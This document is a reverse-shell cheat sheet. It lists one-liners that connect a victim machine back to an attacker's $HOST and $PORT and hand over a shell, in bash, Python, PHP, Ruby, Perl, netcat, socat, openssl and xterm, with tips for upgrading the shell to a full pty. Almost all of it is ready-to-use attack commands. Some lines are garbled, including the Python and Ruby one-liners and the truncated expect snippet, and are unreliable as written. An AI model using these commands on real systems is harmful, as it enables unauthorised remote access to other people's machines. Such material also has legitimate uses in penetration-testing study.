Reverse Shells

Examples generally use $HOST and $PORT for the target host and port for the shell callback.


Bash only reverse shells generally require that /dev/tcp is enabled in bash at build-time.

bash -i >& /dev/tcp/$HOST/$PORT 0>&1

Use redirection through a temporary FD (in this case, 42).

0<&42;exec 42<>/dev/tcp/$HOST/$PORT; sh <&42 >&42 2>&42


python -c 'import socket as so,subprocess,os;s=so.socket(so.AF_INET,so.SOCK_STREAM);s.connect(("$HOST",$PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


php -r '$sock=fsockopen("$HOST",$PORT);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'"$HOST",$PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


perl -e 'use Socket;$i="$HOST";$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Common Utilities

Sometimes you can just use a utility available on the system.

Netcat (Traditional)

nc -e /bin/sh $HOST $PORT


Socat is also a great handler for the shells

socat TCP:$HOST:$PORT exec:/bin/bash,pty,stderr,setsid

You can even get a full pty if you use socat as your listener.


socat file:`tty`,raw,echo=0 tcp-listen:$PORT


socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$HOST:$PORT

Netcat (OpenBSD)

OpenBSD netcat removed the -e flag “for security.” All of these mechanisms will also work on traditional netcat.

rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 </tmp/f|nc $HOST $PORT >/tmp/f


For your encrypted reverse shells! Depends on the openssl command line binary. It’s a lot like OpenBSD netcat.

rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 </tmp/f|openssl s_client -connect $HOST:$PORT >/tmp/f


This is very different. Instead of forwarding a shell, forward a whole terminal emulator!

Attacker host:

xnest :1
xhost +targetip

On the target:

xterm -display $HOST:1

Reverse Shell Tips

So a basic reverse shell pretty much sucks.

  • Hitting ^C is a terrible experience. (Usually kills the listener, not what you ran on the server.)
  • No history, job control, etc.
  • Can’t use most editors.

Getting a pty (python)

Probably the most commonly known technique:

python -c 'import pty; pty.spawn("/bin/bash")'

Getting a pty (expect)

Expect isn’t as commonly installed as python, but this is a good choice for some circumstances.

cat >/tmp/e.exp <<EOF
spawn bash
expect /tmp/e.exp

Upgrading via python + stty


Before connection:

echo 'After connection, please run: '
echo python -c 'import pty; pty.spawn("/bin/bash")'
echo export SHELL=bash
echo export TERM=$TERM
echo stty rows $(stty -a | tr ';' '\n' | awk '/^ rows/{print $2}') columns $(stty -a | tr ';' '\n' | awk '/^ columns/{print $2}')
stty raw -echo  # Note, you will lose echo here.
nc -lvp $PORT

After connecting, run the commands provided by the original script, and you should be good to go.

Other Upgrading Tips

See ropnop’s upgrading guide